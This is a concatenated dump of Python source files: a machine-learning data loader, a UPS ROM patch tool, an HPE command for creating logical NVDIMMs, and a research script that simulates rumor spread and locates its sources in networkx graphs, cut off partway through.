-1)\n X_test = X_test.reshape(X_test.shape[0], -1)\n else:\n if data_name in ['mnist']:\n X_train = X_train.reshape(X_train.shape[0], 28, 28, 1)\n X_test = X_test.reshape(X_test.shape[0], 28, 28, 1)\n\n elif data_name in ['cifar10', 'cifar100']:\n X_train = X_train.reshape(X_train.shape[0], 32, 32, 3)\n X_test = X_test.reshape(X_test.shape[0], 32, 32, 3)\n\n elif data_name in ['omniglot']:\n X_train = X_train.reshape(X_train.shape[0], 105, 105, 1)\n X_test = X_test.reshape(X_test.shape[0], 105, 105, 1)\n\n if np.max(X_train) == 255.:\n print('Normalizing the training data ... ')\n X_train = X_train.astype('float32') / 255\n X_test = X_test.astype('float32') / 255\n\n data = {\n 'X_train': X_train,\n 'y_train': y_train,\n 'X_test': X_test,\n 'y_test': y_test,\n }\n return data\n\n def split_data(self, data):\n try:\n task_labels = conf.task_labels\n except:\n raise ValueError('Label is not provided ...')\n datasets = {}\n one_hot = conf.enable_one_hot\n for task_idx, labels in enumerate(task_labels):\n datasets[task_idx] = {}\n train_idx = np.in1d(data['y_train'], labels)\n datasets[task_idx]['X_train'] = data['X_train'][train_idx]\n\n test_idx = np.in1d(data['y_test'], labels)\n datasets[task_idx]['X_test'] = data['X_test'][test_idx]\n if conf.multi_head:\n if one_hot:\n datasets[task_idx]['y_train'] = np_utils.to_categorical(data['y_train'][train_idx] - np.min(labels),\n len(labels))\n datasets[task_idx]['y_test'] = np_utils.to_categorical(data['y_test'][test_idx] - np.min(labels),\n len(labels))\n else:\n datasets[task_idx]['y_train'] = data['y_train'][train_idx] - np.min(labels)\n datasets[task_idx]['y_test'] = data['y_test'][test_idx] - np.min(labels)\n else:\n datasets[task_idx]['y_train'] = np_utils.to_categorical(data['y_train'][train_idx],\n int(self.nb_classes)) if one_hot else \\\n data['y_train'][train_idx]\n datasets[task_idx]['y_test'] = np_utils.to_categorical(data['y_test'][test_idx],\n int(self.nb_classes)) if one_hot else \\\n data['y_test'][test_idx]\n\n # idx = np.in1d(data['y_test'],labels)\n # datasets[task_idx]['X_test'] = data['X_test'][idx]\n # datasets[task_idx]['y_test'] = np_utils.to_categorical(data['y_test'][idx], int(self.nb_classes)) if one_hot else data['y_test'][idx]\n\n return datasets\n\n def permute_data(self, data):\n num_tasks = conf.num_tasks\n permutations = []\n for i in range(num_tasks):\n idx = np.arange(data['X_train'].shape[1], dtype=int)\n if i > 0:\n np.random.shuffle(idx)\n permutations.append(idx)\n datasets = {}\n one_hot = conf.enable_one_hot\n for task_idx, perm in enumerate(permutations):\n datasets[task_idx] = {}\n\n datasets[task_idx]['X_train'] = data['X_train'][:, perm]\n datasets[task_idx]['X_test'] = data['X_test'][:, perm]\n datasets[task_idx]['y_train'] = np_utils.to_categorical(data['y_train'],\n int(self.nb_classes)) if one_hot else data[\n 'y_train']\n datasets[task_idx]['y_test'] = np_utils.to_categorical(data['y_test'], int(self.nb_classes)) if one_hot else \\\n data['y_test']\n\n return datasets\n\n def get_description(self, data):\n X_train, y_train, X_test, y_test = data\n\n print('X_train : ', X_train.shape)\n print('X_test : ', X_test.shape)\n\n print('y_train : ', np.unique(y_train))\n for l in np.unique(y_train):\n print('y_train == ', l, y_train[y_train == l].shape)\n print('y_test == ', l, y_test[y_test == l].shape)\n","sub_path":"utils/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":6141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"84244772","text":"#!/usr/bin/env python3\n# UPS patcher based on UPS module for Rom Patcher JS v20180930 - Marc Robledo 2017-2018\n# Author: MinN\n\nimport sys\nimport zlib\n\nCHECKSUM_TARGET = True # check the target's checksum\nCHECKSUM_PATCH = False # don't check the patch's checksum because NUPS BUG\n\n\nclass ChecksumError(Exception):\n pass\n\n\ndef encode_vlv(data):\n buffer = bytearray()\n while True:\n x = data & 0x7f\n data = data >> 7\n if data == 0:\n buffer.append(0x80 | x)\n break\n buffer.append(x)\n data -= 1\n return buffer\n\n\ndef read_vlv(array, ptr):\n data = 0\n shift = 1\n while True:\n x = array[ptr]\n ptr += 1\n if x == 2 ** 32:\n raise Exception('Can\\'t read UPS VLV at 0x{:X}'.format(ptr-1))\n data += (x & 0x7f) * shift\n if (x & 0x80) != 0:\n break\n shift = shift << 7\n data += shift\n return data, ptr\n\n\ndef get_checksum(patch):\n try:\n with open(patch, \"rb\") as file:\n patch_file = file.read()\n checksum_input = int.from_bytes(patch_file[-12:-8], byteorder=\"little\")\n checksum_output = int.from_bytes(patch_file[-8:-4], byteorder=\"little\")\n checksum_patch = int.from_bytes(patch_file[-4:], byteorder=\"little\")\n return checksum_input, checksum_output, checksum_patch\n except Exception:\n return -1\n\n\ndef checksum(file):\n with open(file, \"rb\") as f:\n return zlib.crc32(f.read())\n\n\ndef patch_ups(source, patch, target):\n with open(source, \"rb\") as file:\n source_file = file.read()\n with open(patch, \"rb\") as file:\n patch_file = file.read()\n\n checksum_input = int.from_bytes(patch_file[-12:-8], byteorder=\"little\")\n if checksum_input != zlib.crc32(source_file):\n raise ChecksumError\n checksum_patch = int.from_bytes(patch_file[-4:], byteorder=\"little\")\n if CHECKSUM_PATCH and checksum_patch != zlib.crc32(patch_file[:-4]):\n raise ChecksumError\n\n ptr = 4\n size_input, ptr = read_vlv(patch_file, ptr)\n size_output, ptr = read_vlv(patch_file, ptr)\n\n target_file = bytearray(source_file).ljust(size_output, b'\\0')\n\n if len(source_file) != size_input:\n raise ChecksumError\n\n rom_offset = 0\n while ptr < len(patch_file) - 12:\n offset, ptr = read_vlv(patch_file, ptr)\n diff = []\n while patch_file[ptr] != 0:\n diff.append(patch_file[ptr])\n ptr += 1\n ptr += 1\n\n rom_offset += offset\n for i in range(len(diff)):\n target_file[rom_offset] = target_file[rom_offset] ^ diff[i]\n rom_offset += 1\n rom_offset += 1\n checksum_output = int.from_bytes(patch_file[-8:-4], byteorder=\"little\")\n if CHECKSUM_TARGET and checksum_output != zlib.crc32(target_file):\n raise ChecksumError\n\n target_fd = open(target, \"wb\")\n target_fd.write(target_file)\n target_fd.close()\n\n\ndef make_ups(original, modified, target):\n with open(original, \"rb\") as file:\n original_file = file.read()\n with open(modified, \"rb\") as file:\n modified_file = file.read()\n target_file = open(target, \"wb\")\n\n po = 0\n pm = 0\n last_diff = 1\n diff_list = []\n while pm < len(modified_file):\n b1 = original_file[po] if po < len(original_file) else 0\n b2 = modified_file[pm]\n\n po += 1\n pm += 1\n if b1 != b2:\n curr_diff = pm\n xor = bytearray()\n\n while b1 != b2:\n xor.append(b1 ^ b2)\n if pm == len(modified_file):\n break\n b1 = original_file[po] if po < len(original_file) else 0\n b2 = modified_file[pm]\n po += 1\n pm += 1\n\n diff_list.append((curr_diff - last_diff, xor))\n last_diff = curr_diff + len(xor) + 1\n\n buffer = bytearray()\n buffer += b\"UPS1\"\n buffer += encode_vlv(len(original_file))\n buffer += encode_vlv(len(modified_file))\n for offset, xor in diff_list:\n buffer += (encode_vlv(offset))\n buffer += xor\n buffer += b\"\\0\"\n buffer += zlib.crc32(original_file).to_bytes(4, byteorder=\"little\")\n buffer += zlib.crc32(modified_file).to_bytes(4, byteorder=\"little\")\n buffer += zlib.crc32(buffer).to_bytes(4, byteorder=\"little\")\n target_file.write(buffer)\n target_file.close()\n\n\ndef help():\n print(\"Commands:\")\n print(\"ups.py patch unmodified_rom patch_file target\")\n print(\"ups.py make unmodified_rom modified_rom target\")\n\n\ndef main():\n if len(sys.argv) < 4:\n help()\n elif sys.argv[1] == \"patch\":\n patch_ups(sys.argv[2], sys.argv[3], sys.argv[4])\n elif sys.argv[1] == \"make\" and len(sys.argv) >= 4:\n make_ups(sys.argv[2], sys.argv[3], sys.argv[4])\n else:\n help()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ups.py","file_name":"ups.py","file_ext":"py","file_size_in_byte":4867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"645686516","text":"###\n# Copyright 2016 Hewlett Packard Enterprise, Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###\n\n# -*- coding: utf-8 -*-\n\n\"\"\" Create Logical NVDIMM Command \"\"\"\n\nimport sys\nfrom optparse import OptionParser, OptionGroup\n\nfrom lib.Helpers import Helpers\nfrom lib.ScalablePersistentMemoryConfig import ScalablePersistentMemoryConfig\nfrom lib.RestHelpers import RestHelpers\nfrom lib.LogicalNvdimmValidator import LogicalNvdimmValidator\n\nfrom rdmc_base_classes import RdmcCommandBase\nfrom rdmc_helper import ReturnCodes, InvalidCommandLineErrorOPTS, \\\n InvalidCommandLineError, NoChangesFoundOrMadeError, LOGGER\n\nclass CreateLogicalNVDIMMRegionCommand(RdmcCommandBase):\n \"\"\" Main createlogicalnvdimm command class \"\"\"\n def __init__(self, rdmcObj):\n RdmcCommandBase.__init__(self, \\\n name='createlogicalnvdimm', \\\n usage='createlogicalnvdimm --size=SIZE [--processor=NUMBER | '\\\n '--pair=PAIR]\\n\\n\\tCreate a logical NVDIMM.\\n\\n' \\\n '\\texample: createlogicalnvdimm --processor=auto --size=100', \\\n summary='Create a logical NVDIMM.', \\\n aliases=['lnvdimm-create', 'lnc'], \\\n optparser=OptionParser())\n self.definearguments(self.parser)\n self._rdmc = rdmcObj\n self._helpers = Helpers()\n self._restHelpers = RestHelpers(self._rdmc)\n self._validator = LogicalNvdimmValidator()\n self._chif_lib = self._helpers.gethprestchifhandle()\n\n def common_setup(self):\n \"\"\" function to get the config setup \"\"\"\n scalable_pmem_config = ScalablePersistentMemoryConfig(self._restHelpers,\\\n self._validator, self._chif_lib)\n scalable_pmem_config.refresh()\n\n # pre-validation\n self._helpers.validateAllConfigurationPolicies(scalable_pmem_config)\n\n return scalable_pmem_config\n\n def createAutoRegion(self, options=None):\n \"\"\" function to auto create region\n\n :param options: list of options\n :type options: list.\n \"\"\"\n scalable_pmem_config = self.common_setup()\n\n # try NUMA first\n selectedSocket = None\n matchingRegion = None\n for _, socket in scalable_pmem_config.regions.sockets.items():\n firstRegion = socket.firstZeroSizeRegion\n if firstRegion and socket.availableSizeGiB >= options.size:\n selectedSocket = socket\n matchingRegion = firstRegion\n break\n if matchingRegion:\n sys.stdout.write(u\"Creating a {} GiB logical NVDIMM...\\n\".format(\\\n options.size))\n options.processorNumber = selectedSocket.labelString\n return self.createNumaRegion(options)\n\n # try non-NUMA\n selectedSocketPair = None\n for _, socketPair in scalable_pmem_config.regions.socketPairs.items():\n if socketPair.nonNumaRegion.pendingSizeGiB == 0 and socketPair.\\\n availableSizeGiB >= options.size:\n selectedSocketPair = socketPair\n break\n if selectedSocketPair:\n sys.stdout.write(u\"Creating a {} GiB spanned logical NVDIMM...\\n\".\\\n format(options.size))\n options.processorPair = selectedSocketPair.labelString\n return self.createNonNumaRegion(options)\n\n raise NoChangesFoundOrMadeError(u\"No space is available to create a \"\\\n \"logical NVDIMM of the requested size.\")\n\n def createNumaRegion(self, options=None):\n \"\"\" function to create logical NVDIMM\n\n :param options: list of options\n :type options: list.\n \"\"\"\n scalable_pmem_config = self.common_setup()\n\n matchingSocket = None\n matchingRegion = None\n if options.processorNumber == \"auto\":\n # find first 0 size\n matchingSocket, matchingRegion = scalable_pmem_config.regions.\\\n firstZeroSizeRegion\n else:\n # find the first 0 size for the specified processor\n matchingSocket = next((s for _, s in scalable_pmem_config.regions.\\\n sockets.items() if s.labelString == options.processorNumber), None)\n if matchingSocket:\n matchingRegion = matchingSocket.firstZeroSizeRegion\n\n if not matchingRegion:\n self._helpers.displayRegionConfiguration(scalable_pmem_config)\n sys.stdout.write(u\"\\n\\n\")\n raise NoChangesFoundOrMadeError(u\"\\n\\nNo available entries remain \"\\\n \"to create the logical NVDIMM\")\n\n # insert the test data\n matchingRegion.pendingSizeGiB = options.size\n\n isValid, validationMessage = scalable_pmem_config.regions.isValidConfiguration\n\n if isValid:\n if self._rdmc.interactive:\n self._helpers.confirmBeforeConfigCausesDataLoss(scalable_pmem_config)\n\n patchAttributes = {\n matchingRegion.settingName : options.size\n }\n response = self._restHelpers.patchScalablePmemSettingAttributes(patchAttributes)\n #self._restHelpers.enableConfiguration()\n else:\n sys.stdout.write(u\"\\nThe logical NVDIMM requested is not a valid configuration:\\n\")\n sys.stdout.write(validationMessage)\n sys.stdout.write(u\"\\n\")\n raise NoChangesFoundOrMadeError(\"No changes made\")\n\n # display the new state\n scalable_pmem_config.refresh()\n self._helpers.displayRegionConfiguration(scalable_pmem_config)\n\n sys.stdout.write(u\"\\n\\n\")\n\n def createNonNumaRegion(self, options=None):\n \"\"\" function to create spanned logical NVDIMM\n\n :param options: list of options\n :type options: list.\n \"\"\"\n\n scalable_pmem_config = self.common_setup()\n\n matchingRegion = None\n if options.processorPair == \"auto\":\n # find first 0 size\n matchingRegion = scalable_pmem_config.regions.firstZeroSizeNonNumaRegion\n else:\n # find the region for the specified socket-pair\n socketPair = next((p for _, p in scalable_pmem_config.regions.\\\n socketPairs.items() if p.labelString == options.\\\n processorPair), None)\n if socketPair:\n matchingRegion = socketPair.nonNumaRegion\n if matchingRegion.isFree:\n pass\n else:\n matchingRegion = None\n\n if not matchingRegion:\n self._helpers.displayRegionConfiguration(scalable_pmem_config)\n sys.stdout.write(u\"\\n\\n\")\n raise NoChangesFoundOrMadeError(\"No available entries remain to \"\\\n \"create the spanned logical NVDIMM\")\n\n # insert the test data\n matchingRegion.pendingSizeGiB = options.size\n\n isValid, validationMessage = scalable_pmem_config.regions.isValidConfiguration\n\n if isValid:\n if self._rdmc.interactive:\n self._helpers.confirmBeforeConfigCausesDataLoss(scalable_pmem_config)\n\n patchAttributes = {\n matchingRegion.settingName : options.size\n }\n _ = self._restHelpers.patchScalablePmemSettingAttributes(patchAttributes)\n else:\n sys.stdout.write(u\"\\nThe logical NVDIMM requested is not a valid configuration:\\n\")\n sys.stdout.write(validationMessage)\n sys.stdout.write(u\"\\n\")\n raise NoChangesFoundOrMadeError(\"No changes made\")\n\n # display the new state\n scalable_pmem_config.refresh()\n self._helpers.displayRegionConfiguration(scalable_pmem_config)\n\n sys.stdout.write(u\"\\n\\n\")\n\n def run(self, line):\n \"\"\" Wrapper function for createlogicalnvdimm command main function\n\n :param line: command line input\n :type line: string.\n \"\"\"\n LOGGER.info(\"Scalable PMEM: {}\".format(self.name))\n try:\n (options, _) = self._parse_arglist(line)\n except:\n if (\"-h\" in line) or (\"--help\" in line):\n return ReturnCodes.SUCCESS\n else:\n raise InvalidCommandLineErrorOPTS(\"\")\n\n LOGGER.info(\"Options: {}\".format(options))\n\n if not self._chif_lib:\n self._helpers.failNoChifLibrary()\n\n if options.size is None:\n self.parser.print_help()\n sys.stdout.write(u\"\\n\")\n raise InvalidCommandLineError(u\"--size is required\")\n\n if options.size < 1:\n self.parser.print_help()\n sys.stdout.write(u\"\\n\")\n raise InvalidCommandLineError(u\"Invalid value for --size\")\n\n if options.processorNumber and options.processorPair:\n self.parser.print_help()\n sys.stdout.write(u\"\\n\")\n raise InvalidCommandLineError(u\"--processor and --processors may \"\\\n \"not be used at the same time\")\n\n if options.processorNumber:\n if options.processorNumber not in [\"auto\", \"1\", \"2\", \"3\", \"4\"]:\n self.parser.print_help()\n sys.stdout.write(u\"\\n\")\n raise InvalidCommandLineError(u\"Invalid value for --processor\")\n\n if options.processorPair:\n if options.processorPair not in [\"auto\", \"1,2\", \"3,4\"]:\n self.parser.print_help()\n sys.stdout.write(u\"\\n\")\n raise InvalidCommandLineError(u\"Invalid value for --processors\")\n\n if options.processorNumber:\n self.createNumaRegion(options)\n elif options.processorPair:\n self.createNonNumaRegion(options)\n else:\n self.createAutoRegion(options)\n\n return ReturnCodes.SUCCESS\n\n def definearguments(self, customparser):\n \"\"\" Defines argument for the command\n\n :param customparser: command line input\n :type customparser: parser.\n \"\"\"\n\n groupDanger = OptionGroup(customparser, \"Dangerous Options\",\\\n \"Use of these options will alter the backup storage devices configured\\n\" \\\n \"for use with Scalable Persistent Memory and could cause data loss. Back up all\\n\" \\\n \"data first.\")\n\n groupDanger.add_option(\n '--size',\n type=\"int\",\n action=\"store\",\n dest=\"size\",\n help=\"Specify the size (GiB) of the logical NVDIMM to create.\"\n )\n\n groupDanger.add_option(\n '--proc',\n '--processor',\n action=\"store\",\n type=\"string\",\n default=None,\n dest=\"processorNumber\",\n metavar=\"NUMBER\",\n help=\"Use to create a logical NVDIMM. Specify the processor (auto, 1, 2).\"\n )\n\n groupDanger.add_option(\n '--pair',\n '--processors',\n action=\"store\",\n type=\"string\",\n default=None,\n dest=\"processorPair\",\n metavar=\"PAIR\",\n help=\"Use to create a spanned logical NVDIMM. Specify the pair of \"\\\n \"processors (auto or 1,2).\"\n )\n\n customparser.add_option_group(groupDanger)\n","sub_path":"src/extensions/SCALABLE PERSISTENT MEMORY COMMANDS/CreateLogicalNVDIMMRegionCommand.py","file_name":"CreateLogicalNVDIMMRegionCommand.py","file_ext":"py","file_size_in_byte":12073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"209289080","text":"\n\n\nimport networkx as nx\nimport random\nfrom networkx.algorithms import community\n\n\n\n# from Girvan_Newman import GN #引用模块中的函数\n\n# 读取文件中边关系,然后成为一个成熟的图,是有一个有效距离的。这里需要加\n\n\n'''\n有效距离的定义:度大点的传播距离较远。目前只有一个指标:根据度数的大小。度数越大,与他相连的边的权重越大。\n越不容易传播、越可能在距离比较远的时间传播。以此为方法定义权重。\n'''\nfrom sklearn import preprocessing\n\nimport numpy as np\nnp.set_printoptions(threshold=np.inf)\ndef ContractDict(dir, G):\n with open(dir, 'r') as f:\n for line in f:\n line1 = line.split()\n G.add_edge(int(line1[0]), int(line1[1]))\n\n for edge in G.edges:\n G.add_edge(edge[0], edge[1], weight=1)\n # G.add_edge(edge[0],edge[1],weight=effectDistance(randomnum))\n\n\n return G\n\nimport math\n\n\n\ndef effectDistance(probily):\n return 1-math.log(probily)\n\ndef sigmoid(num):\n sig_L = 0\n sig_L=(1/(1+np.exp(-num)))\n return sig_L\n\n\ndef Normalization(x):\n return [(float(i)-min(x))/float(max(x)-min(x)) for i in x]\n\n\ndef Algorithm1(G, SourceList, time_sum,hlist):\n '''\n 我们认为时间片是有问题的,这个时间片应该就是按照,不能是每隔一个时间片就传染一波。只能说每隔一个时间片就记录\n 一线。传播也有有概率的。\n '''\n #this are two point to 传播\n #每个传播节点都需要传播,让我们看看那些节点都需要传播\n nodelist=[]\n edgelist=[]\n infectionNodelist=[]\n\n print('开始传染的点是'+str(SourceList))\n for j in range(len(SourceList)):\n nodelist=list(nx.bfs_tree(G, source=SourceList[j], depth_limit=3).nodes) # 这包含了这个构建的圆的所有节点。\n edgelist = list(nx.bfs_tree(G, source=SourceList[j], depth_limit=3).edges)\n print (len(nodelist))\n nodelist = random.sample(nodelist, int(float(len(nodelist))*0.9)) # 从list中随机获取5个元素,作为一个片断返回\n for i in nodelist:\n G.node[i]['SI'] = 2\n for k in edgelist:\n G.adj[k[0]][k[1]]['Infection']=2\n print ('头两个感染社区点数为'+str(len(nodelist)))\n\n return G\n\n\n\n\n\n\n\n\n\n\n\n\n\n#产生指定感染节点,需要参数节点个数。他们距离的最大值。图G\ndef contractSource(G,sourceNum,sourceMaxDistance):\n sumlist=list(G.nodes)\n flag=0\n flag1=0\n rumorSourceList = []\n #先随机找个点,然后找到距离它为>6,小于10的吧。\n while (flag==0):\n\n if sourceNum==1:\n # random_RumorSource = random.randint(0, 7000)\n random_Rumo = random.sample(sumlist, 1)\n random_RumorSource = random_Rumo[0]\n rumorSourceList.append(random_RumorSource)\n flag=1\n elif sourceNum==2:\n random_Rumo = random.sample(sumlist, 1)\n random_RumorSource = random_Rumo[0]\n #在剩下的节点找到我们的第二个点。\n for node in list(G.nodes):\n if nx.has_path(G,node,random_RumorSource)==True:\n if nx.shortest_path_length(G,node,random_RumorSource)>4 and nx.shortest_path_length(G,node,random_RumorSource)<6:\n rumorSourceList.append(node)\n rumorSourceList.append(random_RumorSource)\n flag=1\n break\n elif sourceNum==3:\n print ('3源点情况。')\n threeNumberFLAG=0\n while threeNumberFLAG==0:\n #先随机找一个点。\n random_Rumo = random.sample(sumlist, 1)\n random_RumorSource = random_Rumo[0]\n #找第二、三个点。\n for index in range(len(sumlist)-2):\n if nx.has_path(G,sumlist[index],random_RumorSource)==True and nx.has_path(G,sumlist[index+1],random_RumorSource)==True:\n if nx.shortest_path_length(G,source=sumlist[index],target=random_RumorSource)>4 and nx.shortest_path_length(G,source=sumlist[index],target=random_RumorSource)<6 and nx.shortest_path_length(G,source=sumlist[index+1],target=random_RumorSource)>4 and nx.shortest_path_length(G,source=sumlist[index+1],target=random_RumorSource)<6:\n rumorSourceList.append(random_RumorSource)\n rumorSourceList.append(sumlist[index])\n rumorSourceList.append(sumlist[index+1])\n print ('找到了3源点了。')\n break\n if len(rumorSourceList)==3:\n print ('找到了3个点')\n threeNumberFLAG=1\n flag=1\n else:\n pass\n\n elif sourceNum==4:\n templist=list(nx.all_simple_paths(G,source=174,target=2419))\n print (templist)\n max=0\n result=[]\n for temp in templist:\n if len(temp)>max:\n max=len(temp)\n result=temp\n print (result)\n\n\n\n\n # 查看产生随机源点的个数2,并且他们距离为3.\n print('源点个数' + str(len(rumorSourceList))+'以及产生的两源点是'+str(rumorSourceList))\n # rumorSourceList=[125,4022] #需要经过5个空。这两个源点。796, 806, 686, 698, 3437, 1085, 1494, 95\n print('真实两源感染是'+str(rumorSourceList))\n return rumorSourceList\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport csv\n\ndef ConvertGToCsv(G,dir):\n # python2可以用file替代open\n with open(dir, \"w\", newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow([\"source\", \"target\", \"weight\"])\n for u, v in G.edges():\n # print (G.adj[u][v]['Infection'])\n writer.writerow([u, v, G.adj[u][v]['Infection']])\n#传播子图代入\n\ndef ConvertGToCsvSub(G,dir):\n # python2可以用file替代open\n with open(dir, \"w\", newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow([\"source\", \"target\", \"weight\"])\n for u, v in G.edges():\n # print (G.adj[u][v]['Infection'])\n writer.writerow([u, v, G.adj[u][v]['weight']])\n\n\n\n\n\nfrom queues1 import *\n\n\ndef getTuresubinfectionG(infectG,randomInfectionsource):\n\n infectionNodeList=[]\n for nodes in list(infectG.nodes):\n if infectG.node[nodes]['SI']==2:\n infectionNodeList.append(nodes)\n\n\n return infectionNodeList\n\n\n\n\n\n\n\n\ndef multiplelistTo_ormialy(mutiolist):\n alllist=[]\n for i in range(len(mutiolist)):\n for j in range(len(mutiolist[i])):\n alllist.append(mutiolist[i][j])\n return alllist\n\n\n\n\n\n\nimport random\n\ndef getmultipleCommunity(infectionG):\n #return multipleCommuniytlist\n multipleCommuniytlist=[]\n\n # start by a random SInode\n randomInfectionNode = 0\n # sum nodes in infect G:\n sumlist = list(infectionG.nodes)\n flag1= 0\n flag2=0\n flag=0\n while flag == 0:\n infectionList=[]\n allList=[]\n diff_list=[]\n #刚开始啥社区都没有\n if len(multipleCommuniytlist)==0:\n print ('在没有社区的操作')\n #刚开始随机产生一个点。\n while flag1 == 0:\n randomnumber = random.sample(sumlist, 1)\n if infectionG.node[randomnumber[0]]['SI'] == 2:\n randomInfectionNode = randomnumber[0]\n flag1 = 1\n print('第一个感染社区随机开始的点感染点' + str(randomInfectionNode))\n partion1 = getTuresubinfectionG(infectionG,randomInfectionNode)\n multipleCommuniytlist.append(partion1) # 第一个社区\n print('把第1个社区加入进去,现在感染社区点个数为' + str(len(multipleCommuniytlist)))\n flag=1\n\n print ('感染社区个数以及各自人数')\n print (len(multipleCommuniytlist))\n print(len(multipleCommuniytlist[0]))\n return multipleCommuniytlist\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#随机产生一个源点。\ndef randomSourcelist(subinfectG):\n nodelist = []\n for node in subinfectG:\n nodelist.append(node)\n slice = random.sample(nodelist, 1)\n print('随机产生的源点是' + str(slice))\n sllietemp=slice[0]\n return sllietemp\n\n\n\n\n\n\nfrom itertools import combinations\n\ndef getkey(pos,value):\n return {value: key for key, value in pos.iteritems()}[value]\n\nimport matplotlib.pyplot as plt\ndef findmultiplesource(singleRegionList,infectionG,trueSourcelist):\n #首先需要判断是否多源。不断找源点去对这个区域。\n tempGraph=nx.Graph()\n tempGraphNodelist=[]\n for edge in infectionG.edges:\n # if infectG.adj[edge[0]][edge[1]]['Infection']==2: #作为保留项。\n if edge[0] in singleRegionList and edge[1] in singleRegionList:\n tempGraph.add_edges_from([edge],weight=1)\n tempGraphNodelist.append(edge[0])\n tempGraphNodelist.append(edge[1])\n\n print ('这个传播子图的节点个数,也是我们用来做u的备选集合的'+str(len(set(tempGraphNodelist))))\n print ('这个感染区域的传播图节点个数')\n print (tempGraph.number_of_nodes())\n Alternativenodeset=list(set(tempGraphNodelist)) #备选集合。\n #求出这个区域最远的路径出来。返回这个区域半径。\n print('这个感染区域的传播半径')\n # maxh=nx.radius(tempGraph)\n '''\n 1 选择边界点。(or所有点)\n 2 选择中心点,以(u,h)去达到最大的覆盖数目。计算这样形成的u和它所有边界点形成的路径成本。\n 3 再以(u1,h1).(u2,h2)去达到这样的覆盖数目,计算这样形成的路径成本之和。(每次增大h,这个子集合的成本都会增大。)\n '''\n #首先第一步,将这个tempGra圆投影到x,y轴。\n #让我看看这个图\n ConvertGToCsvSub(tempGraph,'tempGraph.csv')\n # peripheryList=nx.periphery(tempGraph) #求解图边界list\n\n #随机求一些list,待选集合。偏心率<于某些数值,的元素。\n chooseList=[]\n for node in tempGraph.nodes:\n randomnum=random.random()\n if randomnum>0.95:\n chooseList.append(node)\n # centerlist = list(nx.center(tempGraph))\n # print('感染图的中心为' + str(centerlist))\n # for center in centerlist:\n # chooseList.append(center) #\n print ('把源点加入进去')\n for j in trueSourcelist:\n chooseList.append(j)\n print ('chooseList个元素个数为'+str(len(chooseList)))\n # maxh=nx.radius(tempGraph)\n # print ('感染图半径为'+str(maxh)) #把边都加入话,半径都小了。都不是一个好树了,难受\n\n chooseList = chooseList[-10:] # 取最后20个。\n print ('chooseList'+'总共有多少元素'+str(len(chooseList)))\n minCoverlist=[]\n for sourceNum in range(2,3):\n print ('在源点在'+str(sourceNum)+'个数的情况下')\n for h in range(2,4):\n print ('在h为'+str(h)+'的情况下')\n if sourceNum ==1:#单源点。\n flag=0\n #随机找一个点,不断符合bfs结构。但我不想这个样子,我想想怎么好点。\n firstnode = random.choice(Alternativenodeset)\n while flag==0:\n print ('随机取得点是'+str(firstnode))\n mincover=getSimilir(firstnode,h,singleRegionList,infectionG) #取得覆盖率\n #取出邻居list\n nehibourlist=list(nx.neighbors(tempGraph,firstnode))\n nehibourCoverlist=[]\n #对邻居list进行操作,计算每个邻居的覆盖误差率。\n for nehibour in nehibourlist:\n nehibourcover=getSimilir(nehibour,h,singleRegionList,infectionG)\n nehibourCoverlist.append([nehibour,nehibourcover])\n\n nehibourCoverlist=sorted(nehibourCoverlist,key=lambda x:x[1])\n print('他的邻居节点以及误差率' + str(nehibourCoverlist))\n if nehibourCoverlist[0][1] latemincover:\n mincover =latemincover #有更好地就要替换\n print (\"要进行替换了\"+str( Sampleset[sourcesi]) +'被替换成lateelement')\n Sampleset[sourcesi]=lateelement #替换\n print (Sampleset[sourcesi])\n\n\n print ('经过5次迭代之后的sample的list为多少呢?'+str(Sampleset))\n #计算样本集的similir,找出最好的。\n for sources in Sampleset:\n mincover=getSimilir(sources,h,singleRegionList,infectionG)\n if mincover < min:\n min = mincover #这一次最好的覆盖误差率\n bestsourceNews=sources #最好的覆盖误差率对应的最好的那个解。\n\n print('得到多源点情况最小的覆盖率为' + str( min))\n minCoverlist.append([ bestsourceNews,h, min])\n\n\n\n\n\n\n\n\n elif sourceNum==3:\n print ('源点个数为3')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n print (minCoverlist)\n #返回的应该是最可能的结果。获取mincover最小的返回。第三个元素才是需要考虑东西。\n # listToTxt(minCover, 'result.txt')\n result = sorted(minCoverlist, key=lambda x: (x[2]))\n listToTxt(result[0],'newresult.txt')\n return result[0]\n\n\n\n\n\n\n\n\n\ndef listToTxt(listTo,dir):\n fileObject = open(dir, 'a')\n fileObject.write(str(listTo))\n fileObject.write('\\n')\n fileObject.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef getSimilir(ulist, hlist, singleRegionList, infectionG):\n\n\n\n '''\n S树-S感染。\n\n\n :param ulist:\n :param hlist:\n :param singleRegionList:\n :param infectionG:\n :return:\n '''\n if isinstance(ulist, int):\n circleNodesList = list(nx.bfs_tree(infectionG, source=ulist, depth_limit=hlist).nodes) # 这包含了这个构建的圆的所有节点。\n # 计算列表相似度试试看\n # print ('感染源的h节点集合为'+str(circleNodesList))\n count = 0\n for i in circleNodesList:\n if i in singleRegionList:\n count = count + 1\n Intersection =list(set( circleNodesList).intersection(set(singleRegionList))) #交集\n Union=list(set(circleNodesList).union(set(singleRegionList)))\n ratios=len(Intersection) / len(Union)\n ratio= 1.0-ratios\n 